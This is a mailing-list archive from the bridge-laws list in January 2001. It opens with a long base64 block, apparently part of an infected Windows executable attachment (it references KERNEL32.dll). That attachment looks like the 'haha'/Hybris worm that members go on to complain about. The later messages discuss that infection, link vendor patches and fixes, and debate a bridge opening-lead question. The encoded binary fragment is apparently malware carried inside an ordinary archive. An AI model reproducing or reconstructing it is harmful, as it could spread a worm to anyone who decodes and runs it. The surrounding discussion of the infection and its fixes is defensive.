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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAADhwAAAAAAAAMHAAAAAAAAAAAAAATHAAAABwAAAAAAAAAAAAAAAAAAAAAAAA AAAAADhwAAAAAAAAEQFHZXRNb2R1bGVIYW5kbGVBAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA ----VEHQZS563SPY7-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 6 01:12:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f05EBH615893 for bridge-laws-outgoing; Sat, 6 Jan 2001 01:11:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cobalt7-ps.global.net.uk (cobalt7-ps.global.net.uk [195.147.248.167]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f05EB8t15889 for ; Sat, 6 Jan 2001 01:11:10 +1100 (EST) Received: from p87s12a01.client.global.net.uk ([195.147.140.136] helo=pacific) by cobalt7-ps.global.net.uk with smtp (Exim 2.12 #1) id 14EXWh-0000LW-00 for bridge-laws@rgb.anu.edu.au; Fri, 5 Jan 2001 14:07:28 +0000 Message-ID: <003501c07721$5401bcc0$888c93c3@pacific> From: "Grattan Endicott" To: References: <3.0.32.20010104123524.0072c98c@pullman.com> <5.0.2.1.0.20010105081322.00a52d90@mail.rz.uni-duesseldorf.de> Subject: Re: [BLML] haha virus Date: Fri, 5 Jan 2001 14:08:33 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott ----- Original Message ----- From: Richard Bley To: Sent: 05 January 2001 07:13 Subject: Re: [BLML] haha virus > At 00:37 05.01.2001 +0100, Thomas Dehn wrote: > > >"N. Scott Cardell" wrote: > > > > > > > At 11:22 AM 1/4/01 -0500, you wrote: > > > >The list isn't getting spammed; looks as though M. Beauvillain is > > > >infected. One header reproduced below. (The other is much the same.) > > > > > > > >All of us need to use virus checkers and _NEVER_ open an attachment > > > >unless you are _certain_ what is in it. (Markus: can majordomo > > > >automatically delete all attachments before sending messages to the > > > >list? If so, that would be a good thing IMHO. Or maybe even reject > > > >messages having attachments and tell the sender.) > > > > > I think that would be the best solution. > +=+ see microsoft info and patch at http://www.microsoft.com./technet/security/bulletin/ms99-032.asp and at the same site ending bulletin/fq99-032.asp +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 6 04:58:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f05HvDu23779 for bridge-laws-outgoing; Sat, 6 Jan 2001 04:57:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp.myokay.net (db.myokay.net [195.211.161.152]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f05Hv6t23775 for ; Sat, 6 Jan 2001 04:57:07 +1100 (EST) Received: (qmail 60518 invoked for bounce); 5 Jan 2001 17:57:03 -0000 Received: from dialin-194-29-59-2.frankfurt.gigabell.net (HELO rabbit) (194.29.59.2) by smtp.myokay.net with SMTP; 5 Jan 2001 17:57:03 -0000 Message-ID: <03c401c07741$43982d40$fd3b1dc2@rabbit> From: "Thomas Dehn" To: "Bridge Laws" References: <3A543E08.9F143DF2@village.uunet.be> Subject: Re: [BLML] What is suggested ? Date: Fri, 5 Jan 2001 18:59:28 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "Herman De Wael" wrote: > This starts as a lead problem : > > you hold : > > Jx QJ8xx Qxx Axx > > green vs red, in third position. > > Partner passes, and RHO opens 1Di in a strong club system. > > You decide to overcall 1He. > > The bidding proceeds : > > Pn You > pass 1Di 1He 2Sp > pass 2NT pass 3Sp > pass 3NT pass pass > Dble all pass > > What is your lead ? As partner had no opportunity to raise to 2H, I think the X requests a H lead. A few who haven't noticed that LHO has rebid his spades might play that X requests a S lead. As RHO has the H stopper, I lead a small H to keep my QJ8 together. > OK, second story - partner hesitates and passes. > > What is your lead ? A small heart. I do not consider any other lead to be an LA. > OK, real story - partner hesitates and doubles. > > What is your lead ? Still a small heart. Thomas -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 6 11:26:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f060P1P19430 for bridge-laws-outgoing; Sat, 6 Jan 2001 11:25:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout1-100bt.midsouth.rr.com (mailout1-100bt.midsouth.rr.com [24.92.68.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f060Ott19425 for ; Sat, 6 Jan 2001 11:24:55 +1100 (EST) Received: from compaq (m4hMs2n135.midsouth.rr.com [24.92.76.135]) by mailout1-100bt.midsouth.rr.com (8.9.3+Sun/8.9.1) with SMTP id SAA29696 for ; Fri, 5 Jan 2001 18:23:46 -0600 (CST) Message-ID: <000b01c07777$066d16c0$3d36ad0a@midsouth.rr.com> Reply-To: "Chyah Burghard" From: "Chyah Burghard" To: "BLaw" Subject: [BLML] fix for the virus Date: Fri, 5 Jan 2001 18:24:18 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Symantec has posted a debug utility for this particular virus at the following location. It is a zipped file. If someone can't unzip files, drop me a note and we will find a solution. http://www.symantec.com/avcenter/venc/data/fix.hybris.f.html I really like the following page http://www.symantec.com/avcenter/ It has a listed of current viruses causing problems, but off to the right, it also has a list of fixes. -Chyah Burghard -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 6 12:38:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f061c1V04650 for bridge-laws-outgoing; Sat, 6 Jan 2001 12:38:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from sniffout.com ([62.209.144.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f061bot04596 for ; Sat, 6 Jan 2001 12:37:51 +1100 (EST) Received: from ray.sniffout.com ([62.209.132.170]) by sniffout.com with Microsoft SMTPSVC(5.5.1877.977.9); Sat, 6 Jan 2001 01:37:46 +0000 Message-Id: <5.0.2.1.2.20010106013604.00ab8270@pop3.sniffout.com> X-Sender: rayuk@pop3.sniffout.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Sat, 06 Jan 2001 01:36:43 +0000 To: From: Ray Clements Subject: Re: [BLML] haha virus In-Reply-To: <003501c07721$5401bcc0$888c93c3@pacific> References: <3.0.32.20010104123524.0072c98c@pullman.com> <5.0.2.1.0.20010105081322.00a52d90@mail.rz.uni-duesseldorf.de> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_42994485==_.ALT" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk --=====================_42994485==_.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed This is now getting beyond a joke. Who is the postmaster of this group? At 14:08 05/01/2001, Grattan Endicott wrote: >Grattan Endicott================================= >"If ye have faith as a grain of mustard >seed, ye shall say unto this mountain, >remove hence to yonder place; and it >shall remove." > <-=-> > > >----- Original Message ----- >From: Richard Bley >To: >Sent: 05 January 2001 07:13 >Subject: Re: [BLML] haha virus > > > > At 00:37 05.01.2001 +0100, Thomas Dehn wrote: > > > > >"N. Scott Cardell" wrote: > > > > > > > > > > At 11:22 AM 1/4/01 -0500, you wrote: > > > > >The list isn't getting spammed; looks as though M. Beauvillain is > > > > >infected. One header reproduced below. (The other is much the same.) > > > > > > > > > >All of us need to use virus checkers and _NEVER_ open an attachment > > > > >unless you are _certain_ what is in it. (Markus: can majordomo > > > > >automatically delete all attachments before sending messages to the > > > > >list? If so, that would be a good thing IMHO. Or maybe even reject > > 